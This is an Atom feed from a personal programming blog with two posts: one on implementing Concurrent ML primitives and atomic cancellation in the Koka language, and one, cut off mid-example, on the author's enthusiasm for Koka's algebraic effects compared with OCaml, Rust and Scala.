<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
 
	<title>GFX::Monk</title>
	<link href="http://gfxmonk.net/index.xml" rel="self"/>
	<link href="http://gfxmonk.net/"/>
	<updated>2026-01-30T19:43:25+11:00</updated>
	<id>http://gfxmonk.net/</id>
	<author>
		<name>Tim Cuthbertson</name>
	</author>

	
		<entry>
			<title>Concurrent ML and Koka</title>
			<link href="http://gfxmonk.net/2026/01/11/concurrent-ml-and-koka.html"/>
			<updated>2026-01-11T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2026/01/11/concurrent-ml-and-koka</id>
			<content type="html">
				
				&lt;p&gt;This post summarises some recent experiments and learnings around concurrency &amp;amp; Koka. There’s no immediate application yet, just a bunch of thoughts which might be interesting if you’re into concurrency, parallelism, or Koka. If you’ve never heard of Koka before that’s OK, you don’t really need any prior knowledge (but I wrote about it &lt;a href=&quot;/2025/04/13/im-excited-about-koka.html&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;

&lt;h2 id=&quot;koka-and-concurrency&quot;&gt;Koka and concurrency:&lt;/h2&gt;

&lt;p&gt;There are a few active avenues of interest when it comes to Koka and concurrency.&lt;/p&gt;

&lt;p&gt;First, there’s the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; effect, currently implemented in &lt;a href=&quot;https://github.com/koka-community/std/tree/main/std/async&quot;&gt;the community stdlib&lt;/a&gt;. That effect allows a function to suspend execution and await the result of a callback, as well as the ability to execute multiple async operations concurrently. It’s basically an implementation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;await&lt;/code&gt; semantics in JS and many other languages, but as a library (rather than built into the compiler). Currently this only supports koka code compiled into the JS backend. Under the hood, an async operation is represented as a continuation function - when the operation is complete, that function is invoked and (from the perspective of the Koka code you write), the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; code resumes from where it left off.&lt;/p&gt;

&lt;p&gt;There’s also work going on to create &lt;a href=&quot;https://github.com/libuv/libuv&quot;&gt;libuv&lt;/a&gt; bindings for koka. There’s a fully-featured attempt in &lt;a href=&quot;https://github.com/koka-community/uv&quot;&gt;this community repo&lt;/a&gt;, as well as &lt;a href=&quot;https://github.com/koka-lang/koka/pull/852&quot;&gt;a more minimal version&lt;/a&gt; in koka itself with just the core scheduling primitives. This work allows execution of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; koka code in compiled binaries (the C target).&lt;/p&gt;

&lt;p&gt;Both of these are currently limited to single-thread concurrency&lt;a href=&quot;Technically libUV provides some parallelism and defers work to a background OS thread, but only for specific IO operations. User code never runs in parallel.&quot;&gt;1&lt;/a&gt;, i.e. concurrency-without-parallelism. This is nothing to sneeze at, it’s done well enough for NodeJS for more than a decade, and it’s a step up from many scripting languages which only support synchronous IO.&lt;/p&gt;

&lt;h2 id=&quot;koka-and-parallelism&quot;&gt;Koka and parallelism:&lt;/h2&gt;

&lt;p&gt;But at the same time, Koka has some great fundamentals when it comes to true parallelism (with multi-threading). The way to share mutable state is via a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ref&lt;/code&gt;, which is already thread-safe. And Koka’s &lt;a href=&quot;https://koka-lang.github.io/koka/doc/book.html#why-perceus&quot;&gt;reference counting algorithm&lt;/a&gt; was designed to perform well for both single and multi-threaded environments.&lt;/p&gt;

&lt;p&gt;All this is to say: single-threaded concurrency is cool and all, but there’s no technical reason Koka couldn’t support true parallel concurrency like Go, Rust, OCaml and Guile Scheme.&lt;/p&gt;

&lt;p&gt;What’s Guile Scheme? Don’t ask me, I’ve never used it. but I think of it often when it comes to concurrency. Years ago, I read Andy Wingo’s excellent series on &lt;a href=&quot;https://wingolog.org/archives/2017/06/29/a-new-concurrent-ml&quot;&gt;implementing Concurrent ML primitives in Guile Scheme&lt;/a&gt;. It’s stayed in the back of my mind as an interesting point in the concurrency design space, and seems to keep coming up as a lesser-known approach which ought to be more widely known and adopted. See also &lt;a href=&quot;https://asolove.medium.com/concurrent-ml-has-a-branding-problem-ce0286eab598&quot;&gt;Concurrent ML has a branding problem&lt;/a&gt;, where the tl;dr is “Concurrent ML’s primitives are great but the terms used to describe it are confusing so people ignore it”.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;implementing-cml-primitives-in-koka&quot;&gt;Implementing CML primitives in Koka&lt;/h2&gt;

&lt;p&gt;Using Andy’s blog (and the &lt;a href=&quot;https://codeberg.org/guile/fibers&quot;&gt;guile fibers library&lt;/a&gt;) as a guide, I’ve been implementing CML primitives in Koka. I have a branch &lt;a href=&quot;https://github.com/koka-community/std/compare/main...timbertson:koka-std:cml&quot;&gt;here&lt;/a&gt; if you’re curious, which works with the above &lt;a href=&quot;https://github.com/koka-lang/koka/pull/852&quot;&gt;libuv basics branch of Koka&lt;/a&gt;. I wouldn’t spend much time trying to read or understand it, but you can if you’re curious.&lt;/p&gt;

&lt;p&gt;This has been a fun experiment, and I don’t expect it to go anywhere soon. But I’ve learnt some things from it, which I think are worth sharing.&lt;/p&gt;

&lt;h2 id=&quot;cancellation-in-asynchronous-code&quot;&gt;Cancellation in asynchronous code&lt;/h2&gt;

&lt;p&gt;I care a lot about cancellation. To me, a language without robust support for cancellation of async operations is not a serious language. Any non-toy implementation of &lt;a href=&quot;https://en.wikipedia.org/wiki/Happy_Eyeballs&quot;&gt;happy eyeballs&lt;/a&gt;(the “hello world of concurrency”) requires cancellation so that it doesn’t leak resources.&lt;/p&gt;

&lt;p&gt;A while back I wrote a PR to &lt;a href=&quot;https://github.com/koka-community/std/pull/32&quot;&gt;make async cancellation first-class&lt;/a&gt;. The semantics here are based on Scala’s &lt;a href=&quot;https://fs2.io/&quot;&gt;fs2&lt;/a&gt;, which I know fairly well.&lt;/p&gt;

&lt;p&gt;But one problem which always bugs me is that if you’re waiting for the first of two operations, they might &lt;em&gt;both&lt;/em&gt; happen. Say you’re waiting for input on two sockets:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;val message = firstof(
	{ socket1.next-message() },
	{ socket2.next-message() }
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the first async branch completes, the second will be canceled, and cancellation hooks will run. But this isn’t atomic, and I don’t think it can be. If different messages arrive on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;socket1&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;socket2&lt;/code&gt;, then they’ll &lt;em&gt;both&lt;/em&gt; trigger completion of the overall async expression. Only one will win, and the other one will get canceled. But at that point it’s too late - we’ve already read the message off that channel and effectively discarded it.&lt;/p&gt;

&lt;p&gt;In this case there are obviously ways around it, like feeding all messages from both sockets into a single channel and reading messages off that, or simply processing each socket in its own async loop.&lt;/p&gt;

&lt;h2 id=&quot;cancellation-in-cml-concurrent-ml&quot;&gt;Cancellation in CML (Concurrent ML)&lt;/h2&gt;

&lt;p&gt;Cancellation in CML seems much more elegant. In a CML &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select&lt;/code&gt;, there is a known set of operations which are awaiting completion, and &lt;em&gt;only one will complete&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Specifically if you have two CML channels and you select over both of them, like so:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;val message = select(
	channel-1.receive-op(),
	channel-2.receive-op()
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then it is guaranteed that only one message will be consumed. If messages arrive on channel-1 and channel-2 at the exact same time, they’ll race to commit these receive operations, and &lt;em&gt;only one will succeed&lt;/em&gt; because the operations are both associated with a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opstate&lt;/code&gt; ref.&lt;/p&gt;

&lt;p&gt;Whichever channel was not selected, the corresponding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;send-op&lt;/code&gt; will remain suspended and will not get lost, it’ll just wait around for another &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;receive-op&lt;/code&gt; to pair with.&lt;/p&gt;

&lt;p&gt;This is good. This feels like a proper system, as opposed to “a bunch of things that happen”.&lt;/p&gt;

&lt;p&gt;It also seems efficient, as many of the operations handle cancellation for free (e.g. a channel send operation will naturally clean up cancelled receive operations as part of its execution logic).&lt;/p&gt;

&lt;p&gt;Some CML operations don’t get cancellation for free, which somewhat blurs the line between a CML operation and an async evaluation. For example a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;timeout&lt;/code&gt; creates a runtime resource (a timer). If we don’t clean these up we may leak timers. They’d resolve to a harmless no-op so it’s not a correctness issue, but repeated use could result in a significant number of unwanted timers consuming resources.&lt;/p&gt;

&lt;h1 id=&quot;what-is-this&quot;&gt;What is this?&lt;/h1&gt;

&lt;p&gt;When dealing with a new concept, it can be helpful to explain it as “X but Y”. Having now implemented parts of CML, the simplest way I can describe a CML operation is:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a &lt;em&gt;single&lt;/em&gt; async suspension (i.e. some code which will be resumed via a callback)&lt;/li&gt;
  &lt;li&gt;… with an opstate reference that’s shared among all operations in the current scope (i.e. all operations in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select()&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This opstate is a reference which can have the values &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Waiting&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Claimed&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Done&lt;/code&gt;. Completing an operation involves atomically transitioning from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Waiting&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Done&lt;/code&gt;, and there’s a half-committed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Claimed&lt;/code&gt; state which serves as a transitory state when attempting to complete an operation in a way that may not succeed (i.e could transition back to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Waiting&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;CML ensures that only one among a set of possible operations succeeds, by sharing the same opstate among all alternative operations. If you select between two receive operations on two different channels, then only one can be completed - code attempting to complete the other will be racing to modify the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opstate&lt;/code&gt;, and fail.&lt;/p&gt;

&lt;h2 id=&quot;why-doesnt-all-async-code-have-an-opstate&quot;&gt;Why doesn’t all async code have an opstate?&lt;/h2&gt;

&lt;p&gt;Now that I understand the key difference, it’s time to wonder why we don’t just do this all the time, if it’s so neat?&lt;/p&gt;

&lt;p&gt;It turns out, using an opstate to select between alternatives is of limited use. In Koka, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; effect describes code which may suspend. Chaining together two &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; functions results in an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; function, with an arbitrary number of suspension points.&lt;/p&gt;

&lt;p&gt;e.g. the following code is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt;:`&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;val message1 = channel.receive()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But the following code is &lt;em&gt;also&lt;/em&gt; async:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;val message1 = channel.receive()
val message2 = channel.receive()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second code composes two async operations into another async operation. It’s impossible to tell how many async suspensions might be involed. But an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opstate&lt;/code&gt; represents a single operation. It’s either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Waiting&lt;/code&gt; or it’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Done&lt;/code&gt;. If a piece of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; code suspends at 3 different points, which one represents &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Done&lt;/code&gt;?&lt;/p&gt;

&lt;h2 id=&quot;cml-cannot-compose-operations&quot;&gt;CML cannot compose operations&lt;/h2&gt;

&lt;p&gt;So if we want to use this approach for arbitrary async actions, we’d need to split them into &lt;em&gt;individual&lt;/em&gt; operations, where each can suspend at most once, and the operation is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Done&lt;/code&gt; when it resumes (or completes without suspending).&lt;/p&gt;

&lt;p&gt;This is what CML does. It’s a little confusing, because CML is “composable” in that multiple operations can be composed into a single operation which chooses only one sub-operation (that’s the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select&lt;/code&gt; operation). But this seems to be the only kind of composition possible, you can’t sequence CML operations into larger atomic operations.&lt;/p&gt;

&lt;h2 id=&quot;most-operations-dont-need-to-be-atomic&quot;&gt;Most operations don’t need to be atomic&lt;/h2&gt;

&lt;p&gt;Atomicity sounds great, but the more I’ve thought about it there’s quite a limited set of places where it matters. One is ovbiously channel &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;receive&lt;/code&gt; operations, because taking a message from a channel only to have it go unused is clearly bad. And the same likely goes for channel &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;send&lt;/code&gt; operations, although it’s less obvious when that would be a practical concern.&lt;/p&gt;

&lt;p&gt;But… is that all? Maybe it is.&lt;/p&gt;

&lt;p&gt;Many async operations either can’t be atomic, or don’t need to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remote interactions (like connecting to a server): it’s impossible for the counterpart to observe or respect the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opstate&lt;/code&gt;, and typically you’ll dispose the entire connection if you abandon the code path that establishes a connection&lt;/li&gt;
  &lt;li&gt;Reading files / sockets: the read operation can’t easily “put the bytes back in the pipe” if the operation is already completed when they arrive.&lt;/li&gt;
  &lt;li&gt;To workaround this you can stream the contents into a channel, and read from that.&lt;/li&gt;
  &lt;li&gt;Timeouts: the counterparty to the operation (the clock) doesn’t care if the operation happens or not. When the configured time passes, it generates an event. If that event goes unused, it has no effect on the clock.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There may be some circular logic in here - the advice “if you need the operation to be atomic, use a channel” incidentally ensures that only channels need to support atomic operations. But still, I don’t think the majority of async operations benefit from atomic guarantees in practice.&lt;/p&gt;

&lt;h2 id=&quot;-but-atomic-operations-should-be-completable-by-non-atomic-ones&quot;&gt;… But atomic operations should be completable by non-atomic ones&lt;/h2&gt;

&lt;p&gt;One last thing to mention is that even though a timeout doesn’t need to be atomic, it’s important that it can &lt;em&gt;participate&lt;/em&gt; in an atomic operation. That is, this should work:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;val result: maybe&amp;lt;string&amp;gt; = select([
	channel.receive().map(Just),
	timeout(1.second).as(None)
])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If the channel receive happens to occur in parallel with the one-second timeout and the receive wins, then that’s fine, the timer won’t be offended. But if the timeout wins, we want the channel receive to not happen, so that we don’t lose a message sent to the channel.&lt;/p&gt;

&lt;p&gt;So while only channel operations seem to need to be atomic, we &lt;em&gt;do&lt;/em&gt; want arbitrary other async operations that we’ll select() over to be atomic-aware. If an atomic operation loses the race, we want to prevent its side effects from occurring.&lt;/p&gt;

&lt;h1 id=&quot;what-would-this-look-like-in-koka&quot;&gt;What would this look like in Koka?&lt;/h1&gt;

&lt;p&gt;I wasn’t really sure where this experiment would take me when I started. How does the current &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; effect and the world of CML fit together, if at all? Should CML become the new basis for asynchronous code in Koka?&lt;/p&gt;

&lt;p&gt;The answer is much narrower, which is kind of a relief. If we want to support atomic channel operations, they will need to be first class values, representing a &lt;em&gt;single&lt;/em&gt; operation. And it should be possible to select between a combination of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; expressions and channel operations.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// either an atomic operation or an arbitrary async code
type operation&amp;lt;a&amp;gt;
	AtomicOp(...) // an atomic channel operation
	AsyncOp(f: () -&amp;gt; async a) // wrapper for arbitrary async code

// Return the result of the first operation, canceling all others.
// AtomicOps in this list will occur atomically, but AsyncOps will not.
fun select(operations: list&amp;lt;operation&amp;lt;a&amp;gt;&amp;gt;): async a
	...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, there’s no way to have this function be useful &lt;em&gt;and&lt;/em&gt; have straightforward semantics. We want to support &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; operations, but it will also be possible to apply a single atomic operation, with a function like: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fun perform(operation: operation&amp;lt;a&amp;gt;): async a&lt;/code&gt;. Which means that we can’t stop someone from doing this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;select([
	channel-1.receive-op(), // AtomicOp
	{ perform(channel-2.receive-op()) }, // AsyncOp
	timeout(1.second),
])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will mostly work, but with the subtle problem that the receive-op on channel-2 is non-transactional, now that it’s placed within an opaque &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; expression. And code that wishes to perform multiple channel operations in sequence can only be written as an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AsyncOp&lt;/code&gt;, again removing the ability to operate atomically.&lt;/p&gt;

&lt;p&gt;These are difficult and subtle distinctions to convey to a user, unfortunately. It’s not clear that the benefits would be worth the confusion.&lt;/p&gt;

&lt;h2 id=&quot;alternative-design-enforce-single-operations&quot;&gt;Alternative design: enforce single operations&lt;/h2&gt;

&lt;p&gt;A more drastic approach would be to remove the ability to race/select() over arbitrary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; code, and require that all select operations occur on &lt;em&gt;only&lt;/em&gt; singular operations like “channel receive”, “timeout”, etc. Without digging in too deeply, I think this is what Guile does. You can’t define an operation which is “run this async code”, because in guile async code is initiated by spawning fibers. The operation you can select over is “join this fiber” (i.e await its completion), which is a singular operation. So instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select(fn1, fn2, fn3)&lt;/code&gt; you would first start all 3 functions in their own fibers, and then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select(fiber1.join, fiber2.join, fiber3.join)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Which actually does have the same problems as I outlined above. If you were to spawn a fiber which just received a single message from a channel, then racing that fiber’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;join&lt;/code&gt; event with other atomic events would not execute the channel receive atomically. This seems like a less likely mistake to make by accident, because fibers are more tedious to use.&lt;/p&gt;

&lt;p&gt;In addition to fibers being more tedious, they typically don’t play well with my &lt;em&gt;other&lt;/em&gt; longstanding interest, &lt;a href=&quot;https://en.wikipedia.org/wiki/Structured_concurrency&quot;&gt;Structured Concurrency&lt;/a&gt;. Koka already supports structured concurrency well, so I think encouraging a fibers-style API would be a big step backwards.&lt;/p&gt;

&lt;h1 id=&quot;summing-up&quot;&gt;Summing up:&lt;/h1&gt;

&lt;p&gt;CML is interesting and elegant, and understanding how it works has given me some insights into atomic events in the face of parallel (threaded) concurrency. One day I hope Koka supports true parallel concurrency, at which point we’ll want something like CML’s approach for channels, at least. But exposing atomic cancellation semantics to the user while preserving ease-of-use for arbitrary compositions of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; code will likely be a challenge.&lt;/p&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>I'm excited about Koka</title>
			<link href="http://gfxmonk.net/2025/04/13/im-excited-about-koka.html"/>
			<updated>2025-04-13T00:00:00+10:00</updated>
			<id>http://gfxmonk.net/2025/04/13/im-excited-about-koka</id>
			<content type="html">
				
				&lt;p&gt;It’s been a while since I’ve been excited about a new programming language.&lt;/p&gt;

&lt;p&gt;I’ve learnt and used a number of languages, either because of necessity or curiosity, but there’s only been a few languages in the past 20+ years where I’ve thought “this could be my new favourite language”.&lt;/p&gt;

&lt;p&gt;For a long time Python was my preferred language for its simplicity, and then StratifiedJS for its powerful approach to asynchrony (and JS interop). Since then most of my interest has been in statically typed languages, particularly OCaml and Rust.&lt;/p&gt;

&lt;p&gt;I’ve used plenty of other languages for my day job, and I consider myself lucky to have a day job where I’m mostly writing Scala - a really good mix of “powerful language” and “something I can get paid to write”. But I’m a big believer that there should be a language which is great for nearly everything I want to do, and none of those are it.&lt;/p&gt;

&lt;h2 id=&quot;koka&quot;&gt;Koka?&lt;/h2&gt;

&lt;p&gt;So when I came across &lt;a href=&quot;https://github.com/koka-lang/koka&quot;&gt;Koka&lt;/a&gt; recently and realised how strongly it aligns with the kinds of things I like in a language, I got pretty excited! Of course, it’s far too early to know if it will stay that way as the language and ecosystem (hopefully!) grow and become production-ready, but for now I’m very optimistic.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;where-im-coming-from&quot;&gt;Where I’m coming from&lt;/h2&gt;

&lt;p&gt;Above I mentioned a few languages which I’ve been impressed with over the years. To give you an idea of what I like (and dislike), here’s a quick overview of my favourite languages and their downsides:&lt;/p&gt;

&lt;h3 id=&quot;ocaml&quot;&gt;OCaml&lt;/h3&gt;

&lt;p&gt;I have a soft spot for OCaml - it’s like a dramatically more approachable Haskell. It has a great type system, simple and efficient runtime, and I appreciate the fast startup compared to VM languages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Downsides&lt;/strong&gt;: The syntax is hard to love. Lack of typeclasses or implicits means you’re forever specifying &lt;em&gt;which&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; function to call (List, Array, Lwt, etc), so code tends to be verbose and hard to refactor. Composing the appropriate functions every time you want to log some arbitrary structure can be amazingly frustrating. Build tooling is pretty nice these days with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dune&lt;/code&gt;, but package management with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opam&lt;/code&gt; is still quite painful.&lt;/p&gt;

&lt;h3 id=&quot;rust&quot;&gt;Rust&lt;/h3&gt;

&lt;p&gt;Rust is an absolutely brilliant language. If I were writing low-level OS code or performance-critical code, I’d use Rust, no question. The power-to-convenience ratio is amazing. Cargo is great.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Downsides&lt;/strong&gt;: The convenience doesn’t necessarily extend to many FP idioms. Rust gives you the tools to do things right, but it can take a lot of work. Basically, Rust can do high-level things (like async) but it still forces a lot of low-level concerns to permeate your codebase, which you don’t want or need to care about if efficiency isn’t your number one priority.&lt;/p&gt;

&lt;h3 id=&quot;scala&quot;&gt;Scala&lt;/h3&gt;

&lt;p&gt;Scala has a high quality, reliable and extensive FP ecosystem. You can do pretty much anything in Scala, and the language is powerful enough to implement all kinds of useful abstractions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Downsides&lt;/strong&gt;: it’s a broad, complex language which can be hard to teach and navigate. The JVM legacy makes it a poor fit for CLI applications - it’s fast to run, but slow to start. FP purity is a matter of diligence, it’s incredibly easy to violate expectations by invoking code that throws exceptions, uses mutation, blocks the thread etc. Also I hate dealing with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sbt&lt;/code&gt;, but it’s too entrenched to make me seriously consider alternatives.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;koka-functional-programming-with-algebraic-effects&quot;&gt;Koka: Functional Programming with algebraic effects&lt;/h1&gt;

&lt;p&gt;Koka is a functional programming language. It’s eager like OCaml, not lazy like Haskell. It uses reference counting instead of a Garbage Collector.&lt;/p&gt;

&lt;p&gt;And the big ticket item: it is built around algebraic effects - “koka” is Japanese for “effect”. Rust spent most of its innovation tokens on ownership, Koka spends it on effects.&lt;/p&gt;

&lt;p&gt;(I’m aware that OCaml 5 has dynamically typed algebraic effects, which are interesting but much less so than statically typed ones, to me at least)&lt;/p&gt;

&lt;h2 id=&quot;algebraic-effects-power&quot;&gt;Algebraic effects: power&lt;/h2&gt;

&lt;p&gt;Algebraic effects is a bit of an obtuse name, they’re best understood from a mechanical perspective as “resumable exceptions”. With exceptions you can throw an exception and have it propagate up the stack to the nearest &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;catch&lt;/code&gt; statement. From there you can do some more code and then return or throw another exception.&lt;/p&gt;

&lt;p&gt;Effects allow you to call some function that the effect defines, and have that propagate up the stack to the nearest handler. Like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;catch&lt;/code&gt; you can perform some code and then return, but there’s another option: you can &lt;em&gt;resume&lt;/em&gt; the code that threw the exception, as if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;throw&lt;/code&gt; were calling a function and receiving its result. But it’s not a function you have a (lexical) reference to, it’s a function which is resolved dynamically via the callstack.&lt;/p&gt;

&lt;p&gt;Obviously for exceptions resuming is &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/visual-basic/language-reference/statements/on-error-statement&quot;&gt;a terrible idea&lt;/a&gt;, but it’s extremely powerful for other types of control flow. The easiest to appreciate is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt;. A number of languages support &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async/await&lt;/code&gt; syntax which allows you to write synchronous-looking code with asynchronous runtime behaviour. Adding this to a compiler is a massive undertaking.&lt;/p&gt;

&lt;p&gt;But adding async in Koka amounts to &lt;a href=&quot;https://github.com/koka-community/std/blob/main/std/async/async.kk&quot;&gt;a few hundred lines of code&lt;/a&gt;, &lt;em&gt;none of it in the compiler&lt;/em&gt;. Effects allow everyday library code to implement an async system which captures a continuation and hands that off to the underlying scheduler, while having the surface syntax unchanged from synchronous code. The only change is the addition of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; to the set of effects a function requires.&lt;/p&gt;

&lt;p&gt;Many languages do support async/await but lack support for related concepts like cancellation. I love that in Koka this (and many other interesting execution concepts) is a library concern which lends itself to experimentation and evolution, rather than something that can only be implemented as a huge modification to both the language and compiler.&lt;/p&gt;

&lt;h2 id=&quot;algebraic-effects-usage&quot;&gt;Algebraic effects: usage&lt;/h2&gt;

&lt;p&gt;Effect types never apply to values, only to functions. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fun foo(): io ()&lt;/code&gt; means that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt; returns unit, but requires the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;io&lt;/code&gt; effect in order to evaluate. There is no such thing as an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;io ()&lt;/code&gt; value. When you call a function, you can only do so if the effect is available, and the result you get back is the value type.&lt;/p&gt;

&lt;p&gt;An effect can be “available” in two ways. The most common way is that the caller &lt;em&gt;also&lt;/em&gt; requires that effect. Just like in monadic programming, if you’ve got an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IO&amp;lt;()&amp;gt;&lt;/code&gt; then you’ll also need to return an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IO&amp;lt;_&amp;gt;&lt;/code&gt;. With effects you will only call an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;io ()&lt;/code&gt; function from &lt;em&gt;another&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;io&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;An effect can also be available by handling it. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;io&lt;/code&gt; can only be handled by the runtime, but other effects can be handled in user code. e.g the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exn&lt;/code&gt; effect represents the ability to throw exceptions:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fun inner(): exn ()
  throw(&quot;oh no!&quot;)

fun outer(): error&amp;lt;()&amp;gt;
